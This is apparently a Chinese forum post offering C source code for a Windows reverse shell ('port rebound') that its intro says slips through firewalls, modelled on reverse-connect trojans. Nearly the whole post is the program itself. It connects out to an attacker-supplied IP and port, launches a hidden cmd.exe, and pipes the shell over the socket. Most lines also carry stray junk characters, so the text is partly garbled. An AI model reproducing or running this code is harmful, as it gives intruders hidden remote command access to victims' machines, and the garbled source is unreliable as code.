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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |`,2ri*5A  
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/* ============================== V`d,qn)i  
Rebound port in Windows NT +wU@ynw  
By wind,2006/7 F>6|3bOR  
===============================*/ @R"JW\bd  
#include f:,DWw`B  
#include UiP"Ixg6  
o.g V4%  
#pragma comment(lib,"wsock32.lib") f#"J]p  
GL0L!="!  
void OutputShell(); bMu+TgAT,  
SOCKET sClient; vHc%z$-d  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @#>rYAb8,  
SC!RbW@3  
void main(int argc,char **argv) FP`b>E qOH  
{ 4JXeV&5Qk'  
WSADATA stWsaData; 7~% ?#  
int nRet; *NaB#;+|k`  
SOCKADDR_IN stSaiClient,stSaiServer; =tn)}Y.<e  
0c]/bs{}  
if(argc != 3) N7QK> "a  
{ ,vawzq[oSy  
printf("Useage:\n\rRebound DestIP DestPort\n"); \ gGW8Q;  
return; Z'W =\rl  
} KVaiugQ   
VG#EdIiI  
WSAStartup(MAKEWORD(2,2),&stWsaData); vjCu4+w($Z  
3E]plj7$  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^4hO  
Xp% v.M  
stSaiClient.sin_family = AF_INET; HTS0s\R$  
stSaiClient.sin_port = htons(0); uc\Kg1{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \<>ih)J@tt  
7wqK>Y1a  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [`[|l  
{ #&k5 d:  
printf("Bind Socket Failed!\n"); JPUW6e07o  
return; ,0Hr2*p  
} mh #a#<  
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stSaiServer.sin_family = AF_INET; nYSiS}?S .  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |O+H[;TB6  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7#a-u<HF"  
.bg~>T+<  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \fd v]f  
{ EwT"uL*V;  
printf("Connect Error!"); eA?RK.e  
return; fu ,}1Mq#  
} , WYPU  
OutputShell(); $G+@_'  
} L,`LN>  
X-Kh(Z  
void OutputShell() T!kN)#S  
{ n\'4  
char szBuff[1024]; 1#2 I  
SECURITY_ATTRIBUTES stSecurityAttributes; B{#I:Rs9  
OSVERSIONINFO stOsversionInfo; @ioJ] $o7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [5b--O  
STARTUPINFO stStartupInfo; a0E)2vt4  
char *szShell; j0aXyLNX  
PROCESS_INFORMATION stProcessInformation; k5e;fA/w  
unsigned long lBytesRead; 50wulGJud  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #x60xz  
9T9!kb  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _Y4` xv0/  
stSecurityAttributes.lpSecurityDescriptor = 0; Y =I'czg  
stSecurityAttributes.bInheritHandle = TRUE; =v&hWjP  
iy!=6  
n'LrQU  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Uz8ff  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #A/  
8MtGlW%Eh  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @n /nH?L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'sKk"bi;0  
stStartupInfo.wShowWindow = SW_HIDE; $( kF#  
stStartupInfo.hStdInput = hReadPipe; ]:-mbgW  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0i>5<ej,f  
k%#EEMh  
GetVersionEx(&stOsversionInfo); "Gzz4D  
lgy <?LI\  
switch(stOsversionInfo.dwPlatformId) @Uvz8*b6  
{ s^9Voi.y  
case 1: Y\P8 v  
szShell = "command.com"; #p&qUw  
break; 7Q9 w?y~c  
default: [ l??A3G  
szShell = "cmd.exe"; U9 s&  
break; ?e4YGOe.  
} t%)7t9j  
#gN&lY:CFn  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); bsli0FJSh'  
V)k4:H  
send(sClient,szMsg,77,0); pYEMmZ?L  
while(1) |syR6(U}  
{ X`K<>0.N  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lrE5^;/s1  
if(lBytesRead) 8/#A!Ww]  
{ Pmx -8w  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )2o?#8J  
send(sClient,szBuff,lBytesRead,0); h7oo7AP  
} pah'>dAL  
else t!l&iVWs  
{ ^[`%&uj!g  
lBytesRead=recv(sClient,szBuff,1024,0); SKN`2hD  
if(lBytesRead<=0) break; /36:ms A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); G~a ZJ,  
} Dx?,=~W9  
} JXQO~zj  
Bk c4TO  
return; i&fuSk EP  
}
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